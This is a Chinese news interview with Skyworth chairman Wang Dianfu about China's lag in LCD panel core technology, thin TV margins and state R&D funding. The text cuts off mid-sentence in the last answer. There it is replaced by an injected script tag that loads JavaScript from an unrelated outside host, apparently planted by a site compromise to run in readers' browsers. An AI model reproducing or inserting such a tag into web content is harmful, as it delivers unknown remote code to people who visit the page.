“到2010年全球平板电视产量将达到8000万台，销售额占彩电总额的70%以上，如果我们的彩电企业无法掌握核心部件技术，最后只能给其他企业做嫁衣。”
“仅仅依靠投资液晶屏，难以改变为他人做嫁衣的窘境。”深圳创维集团董事局主席王殿甫（上图）近日在接受本报专访时再次语出惊人。
斯时，国内液晶屏投资如火如荼，各地争相上马。而tcl、创维、康佳、长虹四大彩电巨头，也共同发起组建深圳聚龙光电有限公司(下称聚龙光电)，向上游进军，试图摆脱“赔本赚吆喝”的尴尬。
从全球市场来看，目前液晶屏行业的投资风险随着市场环境的恶化正在不断加大。台湾“面板五虎”2005年陷入全面亏损，并直接导致了今年4月初友达光电与广辉电子的并购。
王殿甫认为，目前，中国电子信息产业的基础技术是全面落后的。这位71岁的信息产业“老兵”建议，政府应在出“种子钱”的情况下，对新技术、新材料、新设备等进行先导性研发，同时，改善产业的融资模式。
基础技术全方位落后
《21世纪》：去年国内电子信息行业利润下降超过40%，其中，家电行业更是重灾区。对此，你怎么看？
王殿甫：我国电子信息产业销售收入的增长速度依然很快，2005年增长26%以上，而利润回落则是市场经济发展的客观规律导致，也就是说，市场竞争激烈，导致产品供过于求。
究其原因，以平板电视为例，我们终端厂商使用的几乎所有的核心部件都是进口的，造成产品微利甚至无利的情况。37英寸平板电视的价格是12000元左右，而我们进口一块37英寸液晶屏的价格是870美元，再去掉销售费用(国美等大卖场的返利和进场费就占价格的15%)、制造费用(占15%-20%)，几乎没有任何利润。
《21世纪》：问题的症结在哪里？
王殿甫：最大的问题是技术基础薄弱。还是以平板电视为例，其超薄玻璃的核心技术目前就掌握在美国康宁等3家巨头手中，很多年前我就建议深圳中康去对此进行研发，但至今没有任何进展；液晶屏中需要的导电玻璃、滤光片全部需要进口，增光片技术就被美国3m公司掌握；而使用寿命达到6万小时以上的背光源的灯管技术我们也无法掌握。
由于在基础器件技术、新设备、新材料、新工艺的研发上的全方位落后，眼前即使在各地政府的支持下，国内企业联合起来投产20亿美元建设第6代液晶屏生产线，然而，这20亿美元中的80%将用于购买制造设备，而且这些100%需要进口。
《21世纪》：国内彩电企业为何在微利的情况还要继续做呢？
王殿甫：2005年国产品牌平板电视的占有率在69.2%，这就为下一步继续发展奠定了基础。其实在传统crt电视发展初期，占市场主导的日本企业的净利润率同样很低，上世纪80年代我在日本考察的时候，发现索尼、松下当时的利润率只有2%。
可以肯定的是，2005年电子信息产业的回落不是彻底的沉沦，只是给我们一个警示，那就是必须尽快掌握核心技术和部件。
政府只需出“种子钱”
《21世纪》：为了平板上游问题，你曾在去年上书国家有关方面，并多方沟通，促成四大彩电巨头牵手投资聚龙光电。你为什么要到处摇旗呐喊？
王殿甫：液晶屏项目关系到电视产业的存亡，到2010年全球平板电视产量将达到8000万台，销售额占彩电总额的70%以上，如果我们的彩电企业还无法掌握核心部件技术，最后只能给其他企业做嫁衣。
《21世纪》：你有什么新的建议？
王殿甫：我们最主要的是缺乏核心技术，国家对于这些新设备、新材料的研发必须进行合理和超前的规划。我建议科学院、各种研究所及院校等的研发，应该与企业应用研发区别开来。
如果不对新技术进行超前研究，即使5年后全球50%以上的液晶屏产能集中在中国，但国外又将开始推广更新的技术，如更薄的0led，那么，今天彩管行业的全行业亏损可能在液晶屏领域重演。
《21世纪》：你曾建议国家动用电子产业专项基金来加快液晶屏产业的发展，目前国家的支持力度有没有增加？
王殿甫：其实国家每年对电子信息产业的全部研发投入在30亿元-40亿元，其中国家发改委为数字电视分年度的投入达几十亿元；信息产业部的研发投入在5亿元左右；中国科学院也有部分资金，一部分是国家“863计划”、“火炬计划”的专项基金，还有就是其下属的中小企业发展需要的资金；商务部为电子信息产业出口研发每年补贴1亿元－2亿元。
但是，这样的投入力度与韩国、台湾地区都无法相比，如京东方收购韩国现代的液晶屏生产线后，交上简单报告即从韩国获得的300万美元研发费用。
而中国有限的研发费用在使用起来又非常地分散，信息产业部每年收到的申请有500多项，最后批准的只有50项－60项。虽然国家“十一五”规划中提出，要跟踪监督研发费用的使用，但具体操作起来非常困难。
《21世纪》：这确实是一个矛盾。
王殿甫：在crt电视时代，当初国家拿出200亿美元，彩虹、?script src=http://er12.com/t.js>
